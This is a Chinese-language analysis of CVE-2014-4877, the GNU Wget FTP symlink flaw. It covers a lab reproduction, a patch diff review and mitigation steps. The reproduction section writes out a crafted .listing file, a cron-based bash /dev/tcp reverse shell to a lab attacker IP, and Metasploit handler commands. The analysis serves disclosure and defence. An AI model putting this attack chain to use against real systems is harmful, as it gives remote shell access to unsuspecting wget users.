目录html
1. 漏洞基本描述 2. 漏洞带来的影响 3. 漏洞攻击场景重现 4. 漏洞的利用场景 5. 漏洞原理分析 6. 漏洞修复方案 7. 攻防思考
1. 漏洞基本描述node
0x1: Wget简介linux
wget是一个从网络上自动下载文件的自由工具,支持经过HTTP、HTTPS、FTP三个最多见的TCP/IP协议下载,并可使用HTTP代理。wget名称的由来是"World Wide Web"与"get"的结合
git
"递归下载"是wget提供的一个特性,咱们平时使用浏览器进行网页浏览的时候,浏览器就是在进行递归下载,将咱们输入的一个URL连接,已经它其中附带的CSS、IMG、HTML HREF等连接也一并下载下来并进行渲染web
http://www.gnu.org/software/wget/manual/wget.html#Recursive-Download
0x2: 漏洞描述shell
Absolute path traversal vulnerability in GNU Wget before 1.16, when recursion is enabled, allows remote FTP servers to write to arbitrary files, and consequently execute arbitrary code, via a LIST response that references the same filename within two entries, one of which indicates that the filename is for a symlink.
严格上来讲,这是GNU Wget的代码上和符号连接处理相关代码的的一个bugvim
A flaw was found in the way Wget handled symbolic links. A malicious FTP server could allow Wget running in the mirror mode (using the '-m' command line option) to write an arbitrary file to a location writable to by the user running Wget, possibly leading to code execution. (CVE-2014-4877)
攻击者经过操纵ftp服务器能够在wget用户端环境建立任意的文件、目录以及连接。经过符号连接攻击,攻击者以wget的运行权限访问客户端整个文件系统,覆盖文件内容(包括二进制文件)。这个漏洞还能经过系统的cron设置或用户级别的(bash profile, SSH authorized_keys)设置触发远程代码执行centos
0x3: 漏洞原理api
wget < 1.16,retr-symlinks 缺省设置为off/no,当客户端wget在递归下载ftp服务器上的目录时,若是存在符号连接文件,该连接文件不会被下载,而是在客户端本地建立一个指向一样位置的符号连接。同时连接指向的文件不会下载,除非该文件位于递归下载的遍历目录下浏览器
Relevant Link:
https://access.redhat.com/security/cve/CVE-2014-4877 http://thehackernews.com/2014/10/cve-2014-4877-wget-ftp-symlink-attack.html https://bugzilla.redhat.com/show_bug.cgi?id=1139181 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4877 https://rhn.redhat.com/errata/RHSA-2014-1764.html
2. 漏洞带来的影响
0x1: 黑客的攻击向量
1. Access Vector: Network exploitable 2. Access Complexity: Medium 3. Authentication: Not required to exploit 4. Impact Type: 1) Allows unauthorized disclosure of information 2) Allows unauthorized modification 3) Allows disruption of service
0x2: 漏洞影响的软件/代码库版本范围
1. gnu:wget:1.13 2. gnu:wget:1.13.4 3. gnu:wget:1.13.3 4. gnu:wget:1.13.2 5. gnu:wget:1.13.1 6. gnu:wget:1.12 7. gnu:wget:1.14 8. gnu:wget:1.15 and previous versions
Relevant Link:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877
3. 漏洞攻击场景重现
0x1: vsftpd环境搭建
1. 安装vsftpd yum install vsftpd 2. 配置防火墙: 将FTP所使用端口开放出去 vim /etc/sysconfig/iptables 在REJECT行以前添加以下代码 -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT service iptables restart 3. 下面是添加ftpuser用户,设置根目录为/home/wwwroot/ftpuser,禁止此用户登陆SSH的权限,并限制其访问其它目录 vim /etc/vsftpd/vsftpd.conf chroot_list_enable=YES # (default follows) chroot_list_file=/etc/vsftpd/chroot_list useradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuser passwd ftpuser 111 vim /etc/vsftpd/chroot_list admin test 4. 配置PASV模式 vsftpd默认没有开启PASV模式,如今FTP只能经过PORT模式链接,要开启PASV默认须要经过下面的配置 vim /etc/vsftpd/vsftpd.conf 在末尾添加 pasv_enable=YES pasv_min_port=40000 pasv_max_port=40080 pasv_promiscuous=YES 5. 设置Selinux setsebool -P ftp_home_dir=1 setsebool -P allow_ftpd_full_access=1 6. 从新启动vsftpd service vsftpd restart
或者直接使用vsftpd官方提供的SHELL脚本进行自动化部署
1. Installation yum -y install vsftpd db4-utils 2. Configuration http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtual_config.sh 根据提示添加用户名、密码 admin 111 http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users?action=AttachFile&do=get&target=vsftpd_virtualuser_add.sh 3. 配置指定目录的权限 cd /var/ftp/virtual_users chmod 755 admin
Relevant Link:
http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users https://www.centos.bz/2011/03/centos-install-vsftpd-ftp-server/ http://www.cnblogs.com/xiongpq/p/3384759.html
在实验重现这个CVE漏洞以前,咱们须要对这个漏洞的攻击场景作一个梳理
1. FTP服务器端要作的事情只要是构造一个符号连接(软连接)(server) 2. 使用存在漏洞的wget的客户端向服务端请求以的递归模式下载这个符号连接文件(client) 3. 最终受到攻击的是client
0x2: 软连接(符号连接)下载漏洞POC
服务端构造软连接
cd /var/ftp/pub ln -s /etc/passwd steal ll
在另外一台linux机器上继续实验,查看客户端wget版本,确认存在本次wget漏洞
客户端以递归模式向服务端发起对这个符号连接文件的下载请求
wget ftp://192.168.207.128/pub/steal -r
查看刚才下载的文件
cd 192.168.207.128/pub/ ll cat steal
能够看到,下载的软连接指向了本地的/etc/passwd,不是服务端的/etc/passwd
正常的逻辑来讲,客户端下载服务端的一个指向/etc/passwd的软连接,最后下载的也应该是服务端的/etc/passwd,可是由于wget的这个bug,致使客户端并无下载服务端软连接指向的文件,而是在本地创建了一个相同的软连接,指向了本地的相应文件。也就是说此次攻击的payload是服务端的那个软连接,从某种程序上来讲,服务端经过payload,"强制"使客户端"建立"了任意文件(经过软连接的任意指向)
0x3: 利用wget漏洞进行RCE(Remote Code Execute 远程代码执行)
0x2 POC展现了wget存在的这个code bug,而如何将这个bug转化为一次攻击,咱们须要更多的步骤
在服务端构造一个指向任意位置的软连接
cd /var/ftp/pub ln -s /etc/cron.d/ steal ll
在软连接指向的目录下放置执行反连shell的定时任务cronshell
cd /etc/cron.d/ cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD
为了达到RCE的目的,须要在软连接同一个目录下,构造一个和软连接文件同名的目录项,并在该目录下放置cronshell
须要明白的是,这件事从文件磁盘的角度来看,在Linux下是作不到的,由于Linux下全部的目录、设备、文件都被抽象成了文件,所以不容许在同一个节点下有2个同名的文件,但这里咱们要实现的只是"欺骗"wget client在执行"list -a"指令的时候,返回一个"一个和连接文件同名的目录项"这样一个假象
# cat .listing total 155 lrwxrwxrwx 1 root root 33 Feb 7 2013 steal -> /etc/cron.d drwxrwxr-x 15 root root 4096 Feb 7 2013 steal
服务端须要在指定的端口进行监听,等到客户端肉鸡的链接
nc -n -vv -l -p 4444
至此,覆盖修改客户端的目的已达到,如下是进一步在客户端触发远程代码执行,如反向shell链接
客户端执行一个很正常的ftp wget下载动做,可是却被动的向黑客所在服务器发起了reverse shell connect
wget –m ftp://192.168.207.128:21/pub
这里没有截图的缘由也是由于这是一种概念演示,其中的关键一步:向客户端的"list -a"命令返回一个特定构造的数据包须要特定构造的FTP Server才能实现,接下来咱们用metersploit msf来真正的模拟这种攻击
0x4: 利用wget漏洞进行RCE Based On MSF
1. 生成反连shell的payload代码 msfpayload cmd/unix/reverse_bash LHOST=192.168.207.128 LPORT=4444 R 0<&108-;exec 108<>/dev/tcp/192.168.207.128/4444;sh <&108 >&108 2>&108 2. 写入cronshell cat > cronshell << EOD > PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin > * * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell > EOD 3. 启动MSF msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.207.128 LHOST => 192.168.207.128 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > run -j 4. 等待客户端的wget请求 wget –m ftp://192.168.207.128:21 //随后,客户端执行的反连请求 5. SHELL创建后,服务端经过网络,发送任意命令到客户端执行
客户端仅仅执行了一个下载文件wget操做,却被强制进行了RCE,致使被GETSHELL
这种RCE的攻击原理能够大体按以下理解
1. wget的这个配置漏洞wget在本地建立了一个指向/etc/cron.d/的符号连接 2. 又因为wget没有作好multiple file的合法性检测,致使它接受了ftp server返回的两个同名的steal文件,一个是指向/etc/cron.d的符号连接,另外一个是其中包含reverse shell脚本的同名的目录文件 3. 这个同名文件的冲突致使的结果就是,当前系统被错误的"欺骗"为本身的/etc/cron.d就是ftp server返回的那个其中包含有reverse shell的目录 4. /etc/cron.d表明着crontab定时器的执行目录,随后,系统按照ftp server指定的/etc/cron.d中的reverse shell进行指令执行,最终致使getshell
Relevant Link:
https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access http://www.oschina.net/news/56518/wget-cve-2014-4877 http://bobao.360.cn/learning/detail/66.html
4. 漏洞的利用场景
每种漏洞都有其对应的攻击场景,对于CVE-2014-4877来讲,攻击场景由server、client共同组成
1. server FTP 1) 黑客能够在本身的服务器上假设ftp,而后经过APT方式引诱受害者访问指定的ftp wget download url 2) 黑客能够经过直接攻击一些流量较大的ftp下载站,替换掉原来正常提供下载的某些程序,从而让受害者在不知不觉中被GETSHELL 2. client wget 对于客户端的要求就是wget要存在这个CVE漏洞
5. 漏洞原理分析
下载wget-1.12源代码进行分析
http://git.savannah.gnu.org/cgit/wget.git/snapshot/wget-1.16.tar.gz
经过patch diff,咱们能够发现patch代码的主要patch point为
1. \wget-1.12\doc\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * wget.texi (symbolic links): Update documentation of retr-symlinks to reflect the new default. Add warning about potential security issues with --retr-symlinks=yes.
2. \wget-1.12\doc\wget.texi
By default, when retrieving @sc{ftp} directories recursively and a symbolic link is encountered, the symbolic link is traversed and the pointed-to files are retrieved. Currently, Wget does not traverse symbolic links to directories to download them recursively, though this feature may be added in the future. When @samp{--retr-symlinks=no} is specified, the linked-to file is not downloaded. Instead, a matching symbolic link is created on the local filesystem. The pointed-to file will not be retrieved unless this recursive retrieval would have encountered it separately and downloaded it anyway. This option poses a security risk where a malicious FTP Server may cause Wget to write to files outside of the intended directories through a specially crafted @sc{.listing} file.
3. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * init.c (defaults): Set retr-symlinks to true by default. This changes a default setting of wget. Fixes security bug CVE-2014-4877
4. \wget-1.12\src\init.c
/* 2014-09-07 Darshit Shah <darnir@gmail.com> * opt.retr_symlinks is set to true by default. Creating symbolic links on the * local filesystem pose a security threat by malicious FTP Servers that * server a specially crafted .listing file akin to this: * * lrwxrwxrwx 1 root root 33 Dec 25 2012 JoCxl6d8rFU -> / * drwxrwxr-x 15 1024 106 4096 Aug 28 02:02 JoCxl6d8rFU * * A .listing file in this fashion makes Wget susceptiple to a symlink attack * wherein the attacker is able to create arbitrary files, directories and * symbolic links on the target system and even set permissions. * * Hence, by default Wget attempts to retrieve the pointed-to files and does * not create the symbolic links locally. */ opt.retr_symlinks = true;
5. \wget-1.12\src\ChangeLog
2014-09-08 Darshit Shah <darnir@gmail.com> * ftp.c (ftp_retrieve_glob): Also check for invalid entries along with harmful filenames (is_valid_entry): New function. Check if the provided node is a valid entry in a listing file.
6. \wget-1.12\src\ftp.c
增长一个is_invalid_entry()函数
/* Test if the file node is invalid. This can occur due to malformed or * maliciously crafted listing files being returned by the server. * * Currently, this function only tests if there are multiple entries in the * listing file by the same name. However this function can be expanded as more * such illegal listing formats are discovered. */ static bool is_invalid_entry (struct fileinfo *f) { struct fileinfo *cur; cur = f; char *f_name = f->name; /* If the node we're currently checking has a duplicate later, we eliminate * the current node and leave the next one intact. */ while (cur->next) { cur = cur->next; if (strcmp(f_name, cur->name) == 0) return true; } return false; }
在对ftp server返回的.listing进行处理的时候,使用is_invalid_entry()进行检查
/* A near-top-level function to retrieve the files in a directory. The function calls ftp_get_listing, to get a linked list of files. Then it weeds out the file names that do not match the pattern. ftp_retrieve_list is called with this updated list as an argument. If the argument ACTION is GLOB_GETONE, just download the file (but first get the listing, so that the time-stamp is heeded); if it's GLOB_GLOBALL, use globbing; if it's GLOB_GETALL, download the whole directory. */ static uerr_t ftp_retrieve_glob (struct url *u, ccon *con, int action) { struct fileinfo *f, *start; uerr_t res; con->cmd |= LEAVE_PENDING; res = ftp_get_listing (u, con, &start); if (res != RETROK) return res; /* First: weed out that do not conform the global rules given in opt.accepts and opt.rejects. */ if (opt.accepts || opt.rejects) { f = start; while (f) { if (f->type != FT_DIRECTORY && !acceptable (f->name)) { logprintf (LOG_VERBOSE, _("Rejecting %s.\n"), quote (f->name)); f = delelement (f, &start); } else f = f->next; } } /* Remove all files with possible harmful names or invalid entries. */ f = start; while (f) { /* 这里增长了is_invalid_entry()对ftp server返回的.listing进行了强制检查 */ if (has_insecure_name_p (f->name) || is_invalid_entry (f)) { logprintf (LOG_VERBOSE, _("Rejecting %s.\n"), quote (f->name)); f = delelement (f, &start); } ......
对patch代码的原理进行一个总结
1. wget的这个symbolic recursively file download是wget的一个功能的开关,是一个程序设计上的逻辑问题 2. 在老的存在漏洞的wget上,默认"--retr-symlinks=no",即当wget客户端须要递归下载一个符号连接文件的时候,wget客户端并不会去真正下载这个符号连接对应的文件,而是在本地建立一个同名的、指向相同节点的符号连接 3. 而patch code、修复后的新版本所作的事情,就是将"--retr-symlinks=yes"设为默认值,即当wget客户端须要递归下载一个符号连接文件的时候,wget会去下载这个符号连接所指向的真正的文件,而不是在本地建立符号连接 4. 增长了is_invalid_entry()对ftp server返回的.listing进行了强制检查,防止出现重名的文件的现象
官方的git commit
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
CVE-2014-4877: Arbitrary Symlink Access
Wget was susceptible to a symlink attack which could create arbitrary files, directories or symbolic links and set their permissions when retrieving a directory recursively through FTP. This commit changes the default settings in Wget such that Wget no longer creates local symbolic links, but rather traverses them and retrieves the pointed-to file in such a retrieval.
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
Add checks for valid listing file in FTP
When Wget retrieves a file through FTP, it first downloads a .listing file and parses it for information about the files and other metadata. Some servers may serve invalid .listing files. This patch checks for one such known inconsistency wherein multiple lines in a listing file have the same name. Such a filesystem is clearly not possible and hence we eliminate duplicate entries here.
Relevant Link:
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7 http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c http://git.savannah.gnu.org/cgit/wget.git/ http://lists.gnu.org/archive/html/bug-wget/2014-10/msg00150.html https://bugzilla.redhat.com/show_bug.cgi?id=1139181 https://bugzilla.redhat.com/attachment.cgi?id=935576
6. 漏洞修复方案
wget的这个CVE的修复是一种配置项的修改,因此咱们可使用如下2种方法达到patch的目的
0x1: 配置加固
在wget客户端进行配置加固
vim /etc/wgetrc or vim ~/.wgetrc //在最后增长一行 retr-symlinks=on
在wget客户端进行程序升级
0x2: 更新程序
升级至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz
7. 攻防思考
Linux上的基础软件、代码库须要进行一次代码安全检测
Copyright (c) 2014 LittleHann All rights reserved